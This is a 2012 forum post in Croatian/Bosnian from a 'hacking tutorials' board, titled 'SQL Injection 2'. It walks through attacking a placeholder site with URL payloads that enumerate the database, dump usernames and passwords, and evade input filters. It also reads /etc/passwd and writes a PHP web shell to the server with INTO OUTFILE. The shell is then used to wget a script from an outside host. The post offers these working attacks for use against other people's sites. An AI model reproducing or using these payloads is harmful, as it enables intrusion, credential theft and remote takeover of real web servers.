URI:
   DIR Return Create A Forum - Home
       ---------------------------------------------------------
       Link Systems
  HTML https://linksystems.createaforum.com
       ---------------------------------------------------------
       *****************************************************
   DIR Return to: Hakerski Tutoriali
       *****************************************************
       #Post#: 28--------------------------------------------------
       SQL Injection 2
   DIR By: ShaPpel
       Date: April 11, 2012, 10:20 am
       ---------------------------------------------------------
       [table of content]
       [0] Sto je SQLi?
       [1] Kako provjeriti dali je sajt ranjiv na SQLi
       [2] Saznati koliko ima kolona (Order by)
       [3] Saznati preko koje kolone mozemo vaditi podatke (Union)
       [4] Verzija MySQL-a i MySQL user
       [5] Saznati ime tabela i kolona u tabelama iz baze
       [6] Kako izvuci informacije iz tabele „users“ i iz kolona
       „username“ i „password“
       [7] Zaobilazenje filtera
       [8] Load_file i Into Outfile funkcije[8]Outro
       
       [0] Sto je SQLi?
       SQLi je vrsta napada na web aplikacije u kojoj napadac
       preoblikuje SQL upite kako bi izvukao podatke iz baze ili
       izmijenio sadrzaj baze.
       
       [1] Kako provjeriti dali je sajt ranjiv na SQLi
       Imamo adresu
  HTML http://sajt.com/index.php?id=123
       i stranica se normalno otvorila. Da bi provjerili dal je ranjiva
       na SQLi na kraj adrese dodajemo +and+1=2–
       Nakon toga adresa izgleda ovako:
  HTML http://sajt.com/index.php?id=123+and+1=2–
       Ako se sadrzaj stranice promijenio, npr. nedostaje text, slika
       ili neki dio stranice, cestitam, upravo ste nasli SQLi
       ranjivost.
       
       [2] Saznati koliko ima kolona (Order by)
       Sljedece sto moramo uciniti je da saznamo koliko ima kolona. To
       cinimo pomocu order by naredbe.
  HTML http://sajt.com/index.php?id=123+order+by+1–
       ->Stranica se otvara normalno.Idemo dalje dok ne otkrijemo tocan
       broj kolona.
  HTML http://sajt.com/index.php?id=123+order+by+4–
       ->Jos uvijek se stranica otvara normalno.
  HTML http://sajt.com/index.php?id=123+order+by+5–
       ->Stranica se nije otvorila normalno , fali neki dio ili smo
       dobili error.Sada kada smo dobili error na 5, a na 4 je sve bilo
       normalno, znamo da postoje 4 kolone.
       
       [3] Saznati preko koje kolone mozemo vaditi podatke (Union)
       Za to cemo koristiti naredbu union.
  HTML http://sajt.com/index.php...union+select+all+1,2,3,4–
       To bi trebalo izlistati neki broj od navedenih na sajtu. Ako ne
       izbaci probajte dodati (-) ispred broja id-a. To ce onda
       izgledati ovako.
  HTML http://sajt.com/index.php...union+select+all+1,2,3,4–
       
       [4] Verzija MySQL-a i MySQL user
       Recimo da vam je vidljiva kolona 3 na sajtu i sad zelite da
       znate verziju MySQL-a da bi znali dali mozete da izvucete imena
       tabela i kolona iz tabela iz baze (vise o tome u sledecem
       postupku)
       Nacin na koji mozete saznati to jeste sa veoma jednostavnim
       naredbama.version() – prikazuje verziju MySQL-a user() –
       Prikazuje ime korisnika MySQL-a database() – Prikazuje ime baze
       podataka.
       Primer otkrivanja MySQL verzije:
  HTML http://sajt.com/index.php...lect+all+1,2,version(),4–
       [5] Saznati ime tabela i kolona u tabelama iz baze
       U slucaju MySQL 4(verzija) nije moguce izvuci imena tabela i
       imena nego se mora pogadjati i imena tabela i imena kolona iz
       tabele. Mozete probati razne tablice dok ne pogodite. Npr.
       admin,members,users,login
  HTML http://sajt.com/index.php...t+all+1,2,3,4+from+admin–
       Ako vrati normalno stranicu to znaci da postoji ta tablica , ako
       bude error nastavite pogadjati.
       Najcesca imena kolona su
       username,user,password,user_name,user_password.
       Od velike pomoci moze biti ako znate da na ranjivom sajtu ima
       forum, pa onda znamo koja je tabela za user-a i od kojih se
       kolona sastoji, osim ako je forum custom coded.
       Kada nam je verzija MySQL-a 5(+) onda postoji
       information_schema. Information_schema je posebna baza koja
       sadrzi informacije (kao sto su tabele i kolone) o svim ostalim
       bazama za istog MySQL user-a.Ovako mozemo provjeriti gdje sve
       imamo pristup.
  HTML http://sajt.com/index.php...+1,2,schema_name,4+from+
       information_schema.schemata–
       Ovo nam vraca samo prvu bazu iz information_scheme. Mozemo
       koristiti komandu LIMIT kako bi vidjeli sve scheme. Tu istu
       komandu mozemo kasnije primjenjivat za sve ostalo, bilo to
       prikazivanje tablica, kolona ili izvlacenje podataka.
  HTML http://sajt.com/index.php...+1,2,schema_name,4+from+
       information_schema.schemata+limit+0,1–
       Ovo nam pokazuje prvu schemu. Ako hocemo da nam pokaze trecu
       (ako postoji) onda cemo staviti.
  HTML http://sajt.com/index.php...+1,2,schema_name,4+from+
       information_schema.schemata+limit+2,1–
       Laksi nacin za sve ovo je koristenje group_concat
  HTML http://sajt.com/index.php...cat(schema_name),4+from+
       information_schema.schemata–
       Sada nam je prikazalo sve scheme, a takoder mozemo koristiti i
       concat.
  HTML http://sajt.com/index.php...cat(schema_name),4+from+
       information_schema.schemata–
       Sada slijedi izvlacenje tablica iz information_scheme. To
       odradujemo preko information_scheme koja u sebi sadrzi tablicu
       tables sa popisom svih tabela.
  HTML http://sajt.com/index.php...ncat(table_name),4+from+
       information_schema.tables–
       Naravno, group_concat koristimo da bi dobili imena svih tabela.
       Kod ovog gore upita ne valja jedna stvar, a to je jer on vraca
       sve tabele dok nam neke nam nisu potrebne, npr. tabele od
       information_scheme. Ako hocemo da nam vrati tabele samo od
       trenutne baze to cemo ovako napraviti.
  HTML http://sajt.com/index.php...ncat(table_name),4+from+
       information_schema.tables+where+table_schema=database()–
       where govori sql-u da selektira samo one tabele od scheme koja
       je postavljena iza znaka jednakosti, a mi smo postavili funkciju
       database(). To znaci da ce nam upit vratit samo tabele iz
       trenutne scheme. Kada smo izvrsili taj upit, na ekranu dobivamo
       npr. tabelu users.
       Kolone dobivamo iz information_schema.columns
  HTML http://sajt.com/index.php...cat(column_name),4+from+
       information_schema.columns+where+table_name=0×5573657273–
       Recimo da nam izbacuje da imaju kolone username i password.
       [Za napredne] Neki ce se zapitati kako sada izvaditi tabele iz
       neke druge scheme.Za primjer uzmimo da imamo schemu koja se zove
       sporedna. Podatke vadimo ovako:
  HTML http://sajt.com/index.php...ncat(table_name),4+from+
       information_schema.tables+where+table_schema=’sporedna’–
       U puno slucajeva izbacivat ce nam error jer su magic qoutes =
       on, pa ime scheme moramo hexat. Ja to radim pomocu ove stranice
  HTML http://www.easycalculation.com/ascii-hex.php
       Samo unesemo string i ono izbaci hex vrijednost i ascii
       vrijednost koji cemo kasnije koristiti. hex vrijednost za string
       sporedna = 73706F7265646E61 , link sa hexanom schemom postaje
  HTML http://sajt.com/index.php...ncat(table_name),4+from+
       information_schema.tables+where+table_schema=0x73706F7265646E61–
       0x ubacujemo da bi server znao da pocinje hexani string. Takoder
       smo izbacili ‘ iz query-a. Ostalo je isto.
       
       [6] Kako izvuci informacije iz tabele „users“ i iz kolona
       „username“ i „password“
       Ovo je jedan od jednostavnijih delova
  HTML http://sajt.com/index.php...,2,username,4+from+Users–
       …ce vam prikazati prvi username u tabeli
  HTML http://sajt.com/index.php...,2,password,4+from+Users–
       …ce vam prikazati prvi password u tabeli
       Mozete i vise kolona grupirati skupa pomocu group_concat ili
       concat.
  HTML http://sajt.com/index.php...),password),4+from+Users–
       …bi trebalo da vam izbaci u ovom obliku Admin:Password gde je
       Char(58) = : a moze se koristiti i 0x3a sto takoder predstavljat
       „:“ .
       
       [7] Zaobilazenje filtera
       Recimo da skripta koja je ranjiva na SQLi blocka stringove
       union,all i select onda mozemo probati mijenjati slova iz malih
       u velika, pa bi nas query bio npr.
  HTML http://sajt.com/index.php...uNiOn+sEleCt+aLl+1,2,3,4–
       Na nekim sajtovima iako union radi necete moci koristiti
       funkcije pa onda uradimo ovako.
  HTML http://sajt.com/index.php...,unhex(hex(version())),4–
       Negdje se blokira whitespace ili praznina , ako ju slucajno
       koristite skripta vam moze blockat i taj query pa mozete
       koristiti obicne comment taggove.
  HTML http://sajt.com/index.php?id=123/**/union/**/select/**/all/**/1,2,3,4–
       /* > oznacava pocetak , a */ oznacava kraj komentara, php i sql
       se ne obaziru na njih.
       
       [8] Load_file i Into Outfile funkcije
       Evo malo objasnjenje za sta sluze ove dvije funkcije.
       Quote:Load File: Reads the file and returns the file contents as
       a string.Into OutFile: Writes the selected rows to a file. The
       file is created on the server host, so you must have the file
       privilege to use this syntax. File to be written cannot be an
       existing file, which among other things prevents files (such as
       „/etc/passwd“) and database tables from being destroyed.(… from:
       MySQL.com)
       Sa Load_file funkcijom mozemo procitati neke osjetljive file-ove
       , npr. /etc/passwd, neki config itd.Ako hocemo procitat sadrzaj
       /etc/passwd to cemo uciniti ovako.
  HTML http://sajt.com/index.php...elect+all+1,2,load_file(‘/etc/passwd’),4–
       Ako nam vraca error ili nemamo dopustenje za load_file ili su
       magic qoutes = on , ako je 1. slucaj nema nam pomoci, a ako je
       drugi slucaj mozemo hexat path ili koristiti char() funkciju.
       Stranicu preko koje enkodiramo stringove sam vec dao malo iznad
       gore ali evo opet
  HTML http://www.easycalculation.com/ascii-hex.php
       Hexano /etc/passwd = 2f6574632f706173737764. To ovako izgleda
  HTML http://sajt.com/index.php...f6574632f706173737764),4–
       Stranica bi trebala sadrzavat sadrzaj /etc/passwd Ako hocemo
       koristiti char() funkciju onda za /etc/passwd uzimamo ASCII
       values./etc/passwd = 47 101 116 99 47 112 97 115 115 119 100 i
       to ovako izgleda
  HTML http://sajt.com/index.php...2,97,115,115,119,100)),4–
       Pomocu Into Outfile mozemo kreirati neki novi file. Da bi
       uspjesno koristili Into Outfile fuknciju magic qoutes moraju
       biti off, moramo imat file_priv i znati full path ako hocemo
       doci do php shella. Da bi vidjeli dali imamo file_priv mozemo
       probati zaviriti u mysql schemu, ako postoji.Recimo da smo
       koristili user() komandu i nas user je test@localhost.Sada
       izvrsavamo upit pomocu kojega cemo vidjeti dali user test ima
       file_priv.
  HTML http://sajt.com/index.php...riv),3,4+from+mysql.user–
       To ce nam izbacit nesto slicno ovome :root:Ytest:Y
       Ako pored naseg usera pise Y to znaci da imamo file_priv.Full
       path cemo saznati tako da negdje na stranici izazovemo error.
       Tada ce nam se ispisati full path.Recimo da je nas path
       /home/test/public_html Po pitanje magic qoutes nemozemo nista ,
       ako mozemo napraviti load_file bez hexanja to znaci da su magic
       qoutes off i sve je spremno.Jedan koristan Into Outfile query bi
       bio ovaj
  HTML http://sajt.com/index.php...on+select+all+null,null,“<?<br
       />system($_GET&#91;'cmd']);
       ?>“,null+into+outfile+’/home/test/public_html/shell.php’–
       Sve kolone zamijenimo sa null, a ona kolona pomocu koje smo
       izvlacili podatke unesemo php kod koji hocemo samo pod
       navodnicima. Poslije Into Outfile ide path + novi file koji ce
       se kreirati sa kodom i sve to pod single qoute.
       Ovom file-u sad pristupamo tako sto idemo na
  HTML http://sajt.com/shell.php?cmd=wget
       web.com/skripta.txt;mv
       skripta.txt skripta.php
       poslije cmd= ide neka komanda koju hocemo izvrsiti. Najcesce se
       koristi wget i curl kako bi se uploadao neki file. mv koristimo
       da bi preimenovali file u neku drugu ekstenziju, u ovom slucaju
       iz .txt u .phpNa nekim serverim je system funkcija disabled pa
       mozemo koristiti i exec, passtru ili neki drugi kod.Ako se
       nalazite u situaciji gdje nemozete dobiti path, a na neki nacin
       zelite izvuci odredene podatke iz baze to mozete takoder uciniti
       pomocu into outfile funkcije.Mozemo selektirati odredene kolone
       iz tabele i zapisati ih u neki file.To mozemo ovako napraviti.
  HTML http://sajt.com/index.php...x3a,password),null+from+
       Users+into+outfile+’/tmp/dump.txt’–
       Ovo ce selektirat username i password iz users i zapisati ga u
       dump.txt. U nekim slucajevima moze biti korisno. Da bi pogledali
       taj file mozemo koristiti load_file funkciju koju sam povise
       objasnio./tmp direktorij je na linuxu chmod-an na 777 sto znaci
       da svatko moze pisati u njega.
       *****************************************************
       Page 1 of 1